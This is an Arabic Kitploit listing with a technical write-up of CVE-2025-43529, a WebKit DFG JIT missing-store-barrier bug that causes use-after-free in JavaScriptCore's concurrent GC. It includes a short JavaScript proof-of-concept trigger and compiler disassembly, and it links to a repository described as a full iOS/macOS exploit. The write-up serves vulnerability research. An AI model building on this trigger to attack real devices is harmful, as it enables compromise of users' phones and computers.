Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-43529 — استغلال تقني لـ CVE-2025-43529، وهي ثغرة أمنية في مترجم DFG JIT الخاص بـ WebKit تتيح استخدامًا بعد التحرير عبر حاجز تخزين مفقود في GC المتزامن، مع بدائيات استغلال كاملة لنظامي iOS و macOS. | Kitploit
أدوات/GitHubGitHub/jir4vv1t/cve-2025-43529
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالالهندسة العكسيةأمن الويباستغلال الملفات الثنائية
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

استغلال تقني لـ CVE-2025-43529، وهي ثغرة أمنية في مترجم DFG JIT الخاص بـ WebKit تتيح استخدامًا بعد التحرير عبر حاجز تخزين مفقود في GC المتزامن، مع بدائيات استغلال كاملة لنظامي iOS و macOS.

عرض المستودع
851111منذ 8 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-43529

TL; DR

أطلقت Apple مؤخرًا iOS 26.2 و iPadOS 26.2، إلى جانب نشرة أمنية تتضمن إصلاحات لثغرات WebKit. برز أحد الأخطاء في مترجم DFG JIT (CVE-2025-43529)، لذا قررت التعمق فيه.

تعرف مترجم JIT بشكل صحيح على أن عقدة Phi (حيث تندمج مسارات تدفق التحكم المتعددة) قد هربت، لكنه فشل في ملاحظة أن عقد Upsilon الخاصة بـ Phi قد هربت أيضًا. ونتيجة لذلك، تخطى StoreBarrierInsertionPhase في تجميع DFG إدراج حاجز التخزين، وهو آلية أساسية لسلامة الذاكرة. وكنتيجة لذلك، يمكن لمجمّع القمامة المتزامن (GC) أن يفوت كائنات كان يجب فحصها، مما قد يؤدي إلى استخدام بعد التحرير.

يمكنك العثور على التزام التصحيح هنا.

لقد أكدت أن استغلالي يعمل على iOS 26.1 و iPadOS 26.1 و macOS Tahoe 26.0.1.

خلفية

GC الأجيال

يستخدم JSC نموذج GC للأجيال لإدارة الكومة بكفاءة. في هذا النموذج، يتم تقسيم الذاكرة إلى Eden (مساحة جديدة) ومساحة قديمة استنادًا إلى عمر الكائن. تبدأ جميع الكائنات المخصصة حديثًا في Eden. عندما تمتلئ Eden، يتم تشغيل GC لـ Eden ويتم ترقية أي كائنات باقية إلى المساحة القديمة. يتطلب تنظيف كائنات المساحة القديمة GC كامل.

لكي يعمل GC للأجيال، يحتاج GC إلى تصنيف الكائنات على أنها "تم فحصها بالفعل" أو "تحتاج إلى فحص" أو "تحتاج إلى إعادة فحص". في JSC، يتم تتبع ذلك باستخدام cellState للكائن. (جميع الكائنات المُدارة بواسطة GC ترث من JSCell.)

StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState هو 1 بايت ويمكن أن يكون واحدًا من ثلاثة ألوان: Black (0)، White (1)، وGrey (2).

الأبيض يعني كائنًا تم تخصيصه للتو في eden. في دورة GC الحالية، لم يتم وضع علامة عليه بعد. إذا بقي في هذه الحالة حتى نهاية دورة GC، فسيتم جمع الكائن.

الأسود يعني أن GC قد انتهى بالفعل من وضع علامة على الكائن أو هو في طور وضع العلامات عليه. يتم التعامل معه على أنه حي بشكل أساسي، على الرغم من أن بت isMarked قد لا يزال غير نشط.

الرمادي يعني كائنًا لا يزال بحاجة إلى الفحص. بشكل أكثر دقة، كان في الأصل أسود، لكنه تم اكتشافه بواسطة حاجز الكتابة وأضيف إلى المجموعة المتذكرة. بعبارة أخرى، تغيرت مراجعه، لذا يحتاج GC إلى فحصه مرة أخرى.

GC المتزامن

لدى JSC أيضًا GC متزامن، والذي يسمح للتطبيق بالعمل أثناء استعادة الذاكرة. إذا كان GC يضع علامة على كائن في الخلفية وقام التطبيق بتغيير حالة ذلك الكائن في نفس الوقت، فقد ينتهي بك الأمر بحالة سباق.

لمنع ذلك، تحتاج إلى ضمانات ترتيب. مثل "كتابة (تخزين) A، ثم قراءة (تحميل) B" تحدث بهذا الترتيب بالضبط. ولكن على ARM64، لأسباب تتعلق بالأداء، يمكن لوحدة المعالجة المركزية إعادة ترتيب عمليات الذاكرة. وهذا يعني أن GC قد يقرأ القيمة الخاطئة.

لذا يستخدم JSC فئة تبعية للاعتماد على تبعيات البيانات في وحدة المعالجة المركزية أو يستخدم تعليمات ARM64 خاصة مثل STLR و LDAR لفرض الترتيب. يضمن STLR أن القراءات/الكتابات السابقة تصبح مرئية قبل التخزين (تخزين إصدار). يضمن LDAR أن القراءات/الكتابات اللاحقة لا يمكنها التقدم قبل التحميل (تحميل اكتساب). عندما يقرأ مؤشر ترابط آخر كائنًا، يتم إقران LDAR مع STLR بحيث يمكنه ملاحظة أحدث البيانات بأمان.

DMB ليس تعليمة خاصة واحدة لوصول واحد. إنه حاجز يفرض الترتيب عبر جميع عمليات الوصول إلى الذاكرة حوله. يضمن أن عمليات الذاكرة قبل DMB تصبح مرئية قبل العمليات بعده.

JSC JIT

لدى JSC ثلاث طبقات JIT في المجموع. لموازنة سرعة التنفيذ مقابل تكلفة التجميع (الذاكرة/الوقت)، يطبق تحسينات وينقل الكود إلى الطبقة التالية بناءً على مدى تكرار تشغيله.

  • الطبقة 1: Baseline JIT
  • الطبقة 2: DFG JIT
  • الطبقة 3: FTL JIT

Baseline JIT هو أول مترجم JIT. يركز على الوصول إلى الكود الأصلي بسرعة مع تكلفة تجميع منخفضة. DFG JIT هو المرحلة التالية بعد Baseline JIT، حيث تبدأ التحسينات الجادة.

في طبقة DFG، يتم تحويل تعليمات JavaScript إلى رسم بياني مكون من عقد IR الخاصة بـ DFG. باستخدام معلومات النوع التي يجمعها، يقوم المترجم بالتكهن لإزالة العمليات غير الضرورية.

في خط أنابيب تحسين DFG الخاص بـ JSC، يقوم StoreBarrierInsertionPhase بإدراج StoreBarrier بعد العقد التي تكتب إلى الذاكرة، مثل PutByOffset. CVE-2025-43529 هي ثغرة ناتجة عن الفشل في إدراج StoreBarrier عندما كان يجب إدراجه أثناء StoreBarrierInsertionPhase.

StoreBarrier هي عقدة تعمل كحاجز كتابة. يتم استخدامها للحفاظ على الصحة في السباقات مع مؤشر ترابط وضع العلامات.

تشغيل الثغرة

سيناريو عقدة DFG الضعيفة الموصوف في التزام التصحيح يبدو كالتالي:

BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

في BB#1، يتم إنشاء كائنين جديدين، ويتفرع التنفيذ إما إلى BB#2 أو BB#3. ثم يمر BB#2 إلى BB#3. الجزء المثير للاهتمام في BB#3 هو عقدة Phi. هذا يعني أن f إما c أو e، ويتم تحديد هذا الاختيار بواسطة عقد Upsilon الأولية. في BB#3، يعني PutByOffset إضافة قيمة إلى خاصية كائن.

PoC مبسط

let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

إذا استخدمت الخيار --dumpFTLDisassembly=true، يمكنك فحص لغة التجميع بعد تجميع FTL.

// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)

// StoreBarrier for D@65(A)
  9  3 60:   D@78:<!0:->        FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
 10  3 60:   D@73:<!0:->        FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)

// D@36 : b
// D@26 : a
// b.p0 = a
 11  3 60:   D@75:<!0:->        PutByOffset(KnownCell:Kill:D@36, KnownCell:D@36, Check:Untyped:Kill:D@26, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#72, ExitValid)
// StoreBarrier for D@36(b) is supposed to be here
 12  3 60:   D@71:<!0:->        Return(Check:Untyped:Kill:D@2, MustGen, W:SideState, Exits, bc#78, ExitValid)

بسبب الثغرة، لم يتم إصدار StoreBarrier لـ ب.

الكائن A يعيش في المساحة القديمة. في أول PutByOffset (A.p0 = f)، يصبح الكائن القديم A يشير إلى الكائن الجديد f. هذا يعني أن مؤشر ترابط وضع العلامات يمكنه الوصول إلى f من خلال A في أي نقطة بعد ذلك التخزين. لذا إذا قمت لاحقًا بتغيير خصائص f، يجب إدراج StoreBarrier.

تنزيل الأداة